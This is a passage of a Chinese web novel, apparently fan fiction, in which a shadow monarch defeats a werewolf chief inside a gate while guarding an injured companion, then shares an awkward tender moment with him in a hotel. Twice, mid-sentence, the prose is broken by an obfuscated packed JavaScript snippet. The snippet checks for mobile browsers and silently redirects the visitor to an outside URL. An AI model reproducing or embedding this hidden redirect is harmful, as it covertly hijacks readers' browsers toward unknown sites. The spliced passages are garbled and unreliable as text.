手执长剑,身披斗篷的暗影骑士耶格利特,一直忠实地守护在它的君王身后。 程肖宇垂下眼眸,不由得握紧了怀中青年的手。他就知道,即便佐藤阳翔不再记得自己,但刻在灵魂深处的反应不会出错;曾经当初在传送口中发生过的悲剧,他绝不会允许再让其发生第二次。 程肖宇低声唤道:“贝尔。” 一名外观近似人型蚂蚁的强大暗影闻声出现:“君王。” “治好他。并且,不要让他受到任何伤害。” 程肖宇深深地吐出一口气,旋即低下头,将额头虔诚地贴上青年的手背。尽管已经尽量放轻了语气,但依旧难以掩饰字里行间藏着的怒意:“哥就呆在这里,剩下的都交给我就好。” “我会扫清所有碍事的垃圾。” 程肖宇在青年的额上留下一吻,起身将已陷入昏迷的佐藤阳翔小心翼翼在地上放平,脱下外套,在他的身上仔细盖好。 贝尔立即将治愈的力量注入佐藤阳翔的体内——它是暗影君王的眷属,他能感受到自己主人的心中,正弥漫着着前所未有的杀意。 而这种暴怒且阴沉的杀意,它只在君王妹妹程肖雅校内遇袭的那天,感受过类似的情绪。 而另一边,狼人首领也晃晃悠悠地从地上站了起来。它抬起头,森然的兽瞳中充斥着同样的杀意——它终于找到了臭味的来源;刚刚的人类之所以身上会沾染上力量的臭味,大概也是因为与眼前之人关系不凡的原因。 “我终于找到了,我终于找到了!” 狼人首领祭出爪牙,尖利的獠牙在阳光下却显得格外可怖,它森然一笑,指了指自己的脑袋,“不知从什么时候起,我的脑袋里就一直在重复着一句话——杀掉人类,杀掉人类,但在看见你的时候,我脑子里的这句话终于消失了。” “你和我,其实来自同一个地方吧。”狼人首领拔出了一直悬挂在腰间的大刀,近乎痴狂地道,“我能闻到灵魂的味道,不管我吃了多少人类恶臭的灵魂,得到的力量也丝毫无法和你身上的强大相类比。” “我改主意了,我要单独吃掉你,然后再把刚刚那个人类扔给我的部下享用。” “是么?你大可以试试。” 被踩中雷区的程肖宇冷冷地伸出手,将佐藤阳翔落在一旁的长刀拿了起来。如果佐藤阳翔现在还醒着,应该能看见程肖宇的身上瞬间跳出蓝色的浮窗。 【玩家已将称号更改为:屠狼者】 【该称号给予猎杀狼时,表现优异的猎人。在对付野兽型怪物时,所有的能力值将会增加40%。】 几乎是同时,程肖宇和狼人首领都冲了出去。他们身后的士兵也犹如海面翻滚的巨浪,在绿意盎然的草原上短兵相接。程肖宇身边最得力的几名暗影,在他的吩咐下迅速分为了三队。 手执长剑的耶格利特作为骑士长,一路为程肖宇扫清着前路的障碍,抵挡来自侧翼的攻击。 身穿重型盔甲的王者艾恩则另辟一路。它将手中盾牌猛然插入地面,口中发出足以震撼大地的怒吼,技能【嘲讽】发动,大部分狼人士兵开始朝他们的方向冲来;王者艾恩的身后,一头体型巨大的熊形暗影及时窜出,一掌便将多名狼人士兵拍得粉碎。 而佐藤阳翔的身边,除了正在治疗他的贝尔外,还有体型庞大的巨型兽人尖牙。它手持法杖,吟唱时间几乎没有,巨大的火球便如同陨落地面的流星,朝着袭来的狼人大军轰去。 如果现场有意识清醒的人类看见这样的场景,一定会为这样的战争感到灵魂震颤——眼前远远超出军队的强大力量,绝不是异能。 与此同时,一名守候在传送口前的异能者工会人职员,突然望着测量能量的仪器大骇:“这、这...” 他手中的仪器指针正朝着一个极为恐怖的数字飞去。由于传送口出现的时间才过了几个月,现在各国能研制出测量魔素浓度的仪器都很简易——在佐藤阳翔进入传送口之前,他们在这座S级传送口外监测到的最高数值,仍在仪器可显示的范围内。 可现在,指针犹如收到了无形的冲击力震颤着,仪器也发出尖锐刺耳的悲鸣。 “魔素浓度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203642|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过高,仪器要爆炸了!”另一名异能者工会的职员忍不住尖叫,“不好,快点把它扔掉!” 那名负责监测魔素浓度的职员刚将仪器扔出去,空中便传来了小型爆炸的声音。坏掉的仪器掉在地上,立即收到了无数闪光灯的洗礼——而直到它躺在地上的那一刻,指针依旧在无意识地旋转着。 李议员脸上的从容僵住了。他忍不住看了一眼身边的老约翰,发现对方灰蓝色的眼睛仍旧直勾勾地盯着仪器看着,好像在看一个怪物的诞生。 无数记者立即议论纷纷:“发生了什么事?!” “仪器怎么了?是坏掉了吗?!” “佐藤阳翔现在怎么还没有出来,是死了吗?” 面对不断涌上前来的话筒,手持防暴盾的警察们只能吃力地将他们拦截在外。 “官方代表和工会代表不说句话吗?” “传送口里肯定是发生了什么吧?!” “你们的测量仪器怎么了?” 面对数不清的质问,李议员终于慌了——前一天晚,拿到议员签名的约翰·勒卡雷突然又倒回了他的办公室;在李议员警惕的目光中,忽然微笑着坐回了他的面前,语气与佐藤阳翔在场时截然不同。 “我说的没错吧?他确实是个讨人厌的家伙。”老约翰将叉在一起的手指分开,轻轻敲击着玻璃桌面,用一种令人难以招架的语气说,“议员先生,我们不能让他活着出来啊。” “...你这家伙,在说什么呢?”李议员错愕地抬头,“你刚刚不是还站在他那边,向我帮他索要进入传送口资格的签名吗?” “他是日本人,不能死在韩国境内,但可以死在传送口里。”约翰·勒卡雷的脸上似乎被室内的灯光无端蒙上了一层阴翳,“议员先生,有时候面子功夫是不得不做的——你难道真的想让他成为攻略S级传送口的英雄吗?” “...你这是什么话?”议员震惊,“现在还没有人能从那个鬼地方里全身而退吧?” “他是横滨人。”约翰·勒卡雷说,“同时也是世界上第一例传送口唯一的幸存人员,可不是被钱冲昏头脑的家伙。” “议员先生,你该不会是想让日本人当我们的民族英雄吧?”约翰笑着,“即便外头的贱民们不会说什么,可上面的人,会对这个结果满意吗?” 李议员脸色煞白,登时忍不住从椅子上站了起来。 这就是那十四个人“故意闯入传送口”的真相。只为了防止被外国人抢走风头,政府就要赌上整个清潭洞的安危和十四条人命作掩护,很好笑吧?但真相往往都是这么平凡——真实总是不做任何粉饰,因此才会偶尔显得突兀,甚至有些不合逻辑,也让人不舒服。 仅仅这一句话,异能者工会就与政府高层达成了暗中利益的一致。现在,李议员终于开始忍不住担心,佐藤阳翔会不会一个人也能攻掠传送口了——面对记者们的询问,李议员甚至有些哑口无言。 而刚刚还站在他身边的约翰·勒卡雷,不知何时已经不见了踪影。 66.第六十四章 122 清潭洞传送口内,战争还在继续。 程肖宇单手持刀,手中武器铮地一声和狼人首领的大刀碰撞在一起,带着可以轻易劈开长空的力道。金属在僵持之下迸发出细碎的火花,摩擦发出令人牙酸的声音。 “看来你的能耐也不过如此。”程肖宇淡淡地说。 “哈,狂妄的人类...真以为自己胜券在握了?” 狼人首领怒极反笑。在如此近距离的角力下,先一步退缩的人会失败——它立即抓住空档,将刀锋一抬,空出的那只爪子亮出尖锐的指甲,朝着青年的腹部狠狠划去。 但是,它的爪子还没有抵达,狼人首领便惊讶地发现自己的爪子竟已经动弹不得,像是被某种强大的力量桎梏在了原地。 “胜券在握?” 程肖宇兴致缺缺,未握刀的那只手已经被莹蓝色的光芒覆盖——不用触碰物品,就能控制物体移动的特殊技能【支配者之手】悄然发动。 “不,对我来说,你还算不上对手。”那双灰蓝色的眼睛,仿佛积着长年累月的冰霜,“因为太弱了。” 在短暂的交手中,程肖宇早已摸清了对方的实力——总的来说,眼前的狼人首领对他而言,实力不过在B级与A级之间,对现在已经是S级猎人的程肖宇来说,要猎杀这个等级的怪物,简直就和成年人重做小学一年级的加减法一样简单。 他压根不需要费多少力气,在【支配者之手】的辅助下,长刀就已经不知道在狼人首领身上落下了多少刀。 在程肖宇的世界里,S级传送口会给整个国家带来毁灭性的打击。可以说,S级怪物的降临便代表着蛮横、霸道,以及毁灭;对于人类而言,它们毫无疑问就是这个世界上的最大天敌。 与此同时,人类也在魔素浓度的升高中不断进化觉醒——两方的力量又像是被神放置在了天秤的两端,维持着这个世界最微妙的平衡。 眼前的狼人首领虽然实力一般,但对这个世界的人来说,却宛如不可撼动的存在。 在这个世界,魔素的浓度远低于程肖宇从小生活的环境——人们甚至还没有开始觉醒魔力,异能也在这里暂时失去了效果,所以区区狼人首领才在这个世界立于不败的境地。 但问题是,这个世界为什么会出现这种打破平衡的存在? 狼人首领也终于在这一刻意识到,面前之人的强大程度完全超出了自己的认知范围。 程肖宇,和以前那些无能的人类完全不同。 他身上的力量,就像永远不会干涸的大海一般,以狂风暴雨之势便将敌人席卷其中。 按理来说,原本这种等级的魔物本来是不需要暗影君王亲自出手的,但程肖宇只要一想到佐藤阳翔苍白且黯淡的脸色,便恨不得将眼前的怪物碎尸万段。 随着铛的一声,狼人首领手中的大刀被挑飞。 它趔趄着捂住伤口,不甘心地想寻求部下的帮助,却在看清周围环境的那一刻忍不住僵住了——它的狼人士兵几乎在那些影子士兵的围攻下全军覆没,只剩下游弋与地面的鲜血,原本生机勃勃的草原竟在顷刻间便化为了一场炼狱。 耶格利特恰好在这时处决完最后一头狼人士兵。它甩手抽出刀刃,身上斗篷被风吹得猎猎作响,那柄完全由幻影构成的长刀上,还有炙热的鲜血缓缓流下。 ——败局已定。 原本高傲不可一世的狼人首领,终于在这样悬殊的力量下低下了头颅。 它颤抖着,不可置信地惶恐道:“你...究竟是谁?” “看来你终于搞清了自己的地位。” 程肖宇解除【支配者之手】,甚至懒得分出一个眼神去看瘫坐在地的狼人首领,回过身打量了一眼遍地狼尸的血红色草原,声音宛如撒旦的低语,“作为奖励,要让你见见你的属下吗?” “...你说什么?” 清风拂过被血染红的草原。程肖宇懒散地抬起蓝灰色的眼睛,沉声道:“站起来。” 在狼人首领不可置信的目光下,在程肖宇直白的号令中,狼人士兵的暗影开始从草原上一具具狼人士兵的尸体中爬起来,它们已然通过另一种方式重获新生,并且将饥饿的眼神汇聚在了狼人首领的身上。 狼人首领终于意识到,自己和那些人类其实并无不同。 它曾对人类的愚蠢、弱小不屑一顾。它喜欢看着这些蝼蚁拼命逃命的样子,也喜欢他们临终前的眼泪和来自灵魂的震颤,因为这正是弱小者对嘴角还沾染着鲜血的猛兽,最原始的畏惧。 而它,现在也确确实实地正因弱小而发抖。 “在送你下地狱之前,我还要问你一件事。” 程肖宇说着,毫不留情地弯腰拽起了狼人的毛发。风静静地拂过草原,带着腥臭的血味,那是一种静悄悄的、肃杀的气氛。 “你为什么会出现在这里?还有,一名女孩曾在进入这里后陷入了长眠,你对她做了什么?” 123 佐藤阳翔睁开眼的时候,率先看见是象征着白天即将过去的黄昏,然后是一道投射在自己被子上的投影,以及一双陷入沉思之中的,幽深的眼睛。 程肖宇正背着光坐在床前,手肘撑在膝盖上,抿着嘴唇一言不发。或许是由于思绪游离,程肖宇并没有第一时间就觉察到佐藤阳翔已经醒来,佐藤阳翔反而有时间仔细打量起坐在床前的青年。 程肖宇独处的状态和在自己面前截然不同。他其实并没有刻意表现出比平时更严肃的样子,但依旧很有距离感;佐藤阳翔却隐隐觉得,这个时候的程肖宇反而才是完全放松的状态。 随着夕阳的光线一点点没落,佐藤阳翔才撑着身体,缓缓从床上坐了起来。 “哥?你什么时候醒的?” 程肖宇回神,伸手将佐藤阳翔扶了起来。 佐藤阳翔这才发现,自己现在正在酒店里——谢天谢地,他本来以为自己醒来的时候会是在医院,或许是闻着刺鼻的消毒水气味接受抢救;或许是在各路媒体的闪光灯下被迫营业,然后被韩国的无良记者写八卦小报阴阳怪气。 但他现在在酒店,环境安静且颇具安全感,在自己昏迷的过程中,程肖宇应该为自己做了很多吧? 他下意识地摸了摸原本受伤的地方——当然,伤口已经完全愈合。但更让佐藤阳翔更惊讶的是,自己身上原本伤痕累累的旧疤也都消失了,无论是肩膀还是心口的枪伤,又或是小臂上细碎的疤痕,全都和翻页的白纸似的,其光洁程度简直就和初生的孩子一模一样。 “现在感觉怎么样?” “啊,我现在感觉非常好。”佐藤阳翔说,“我昏迷以后,你就一直在边上守着我吧?传送口里也应该发生了很多事。” 程肖宇呼唤贝尔出来替他治疗的时候,佐藤阳翔的意识其实就已经陷入模糊了,自然也对后续那场由程肖宇单方面碾压的战斗一无所知。 程肖宇以为他想知道的是那名女孩患上溺睡症的原因,于是微微颔首: “溺睡症的事,我知道哥一直在牵挂。所以我从...” “所以,你应该很累了吧?要不要休息一下?有受伤吗?” 二人同时出声,声音也同时戛然而止。 程肖宇沉默地愣住了。 佐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223154|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藤阳翔惊讶,是因为他没想到程肖宇还替他记挂着这件事,本来自己已经做了好无功而返的准备:毕竟程肖宇能及时赶到传送口救下他,简直就是一种奇迹;而程肖宇惊讶——与其说是惊讶,倒不如说是一种突然受到关心时产生的无措。 在程肖宇在成为S级以后,除了自己的母亲,便再也没有人对他说过这句话。在普通人眼里,S级猎人理应是一种无所不能的存在,而这种无所不能的存在就是支撑人类前行的支柱,程肖宇也逐渐习惯在责任感的推动下向前走。 但是佐藤阳翔总是会把这样的人拉住,说你看起来很累了,要不要先休息一下? “...哥果然,一点都没变。” 程肖宇轻笑一声,他闭上眼睛,趁着已经黯淡的夕阳低下头去,整张脸都埋进了佐藤阳翔的颈窝。这种行径其实有点像在撒娇的小孩子,和程肖宇本人坚强不屈的性格大相径庭,但佐藤阳翔居然并不觉得有什么违和的地方。 “肖宇?” “嗯,我有点累了。”对方低沉的声音,让佐藤阳翔不由得觉得耳朵有些痒痒的。但他还没来得及将头稍稍扭开一点,就听见程肖宇说,“所以,哥就让我先充电一下吧。” “...只要这样就行?” “只要这样就行。” 窗外橙色的天空,逐渐化成烧灼似的火红。 街上的路灯开始一盏盏亮起,随着夜晚到来,也逐渐变得喧闹了起来,佐藤阳翔的内心挣扎了很久,最终还是没有拒绝对方有些暧昧的请求;两个人的呼吸,伴随着拥抱的举动,也在降临的黑暗中变得越来越同频。 当然,如果只有拥抱的话,那还远远不够——S级猎人的野心,就和他对强大力量的渴望一样无穷无尽。 但至少,这一刻是完全属于他们两个人的时间。 程肖宇直起腰,凝视着与自己同在黑暗下的佐藤阳翔,似乎想说些什么;但就在这时,空气中却突兀地传出了韩国男星深情的演唱,在寂静且空旷的房间回响: “...可是 就像熄灭的火花般 已经燃烧殆尽 我们所有的爱 虽然痛彻心扉 今后 就把你称为回忆吧...”(注1) 佐藤阳翔、程肖宇面面相觑:“......?” “不是这个,不是这个!”玄关处传来细碎的声音,似乎有什么人压低了嗓音,“快点放下一首,别打扰君王的好事。电视剧说了,拥抱的下一步就是接吻,关键时刻怎么能没有背景音乐呢...” 随后,原本正在深情演唱的男声,突然切换成了另一首扣人心弦的乐队歌曲。主唱的声音逐渐高昂: “我屏住呼吸,等待着你的回答 早已将决定权移交与你手 就算要拒绝,也请你告诉我 Baby love me or leave me tonight...”(注2) “不对!这首歌应该在我们君王告白的时候放...” 随着玄关处的声音越来越大,真被打扰了好事的程肖宇再也忍不住,啪地一下打开了位于酒店床头的总控开关。 程肖宇:“...你们在干什么?” 直到这时,佐藤阳翔这才看见躲在玄关处摆弄智能音箱的那几道暗影——由于它们本来就是影子的化身,再加上没有恶意,佐藤阳翔居然完全没有感受到这些影子们的存在。 但他的表情,第一次控制不住地尴尬起来。 也就是说,他一直在大庭广众之下被影子们围观和程肖宇的拥抱?!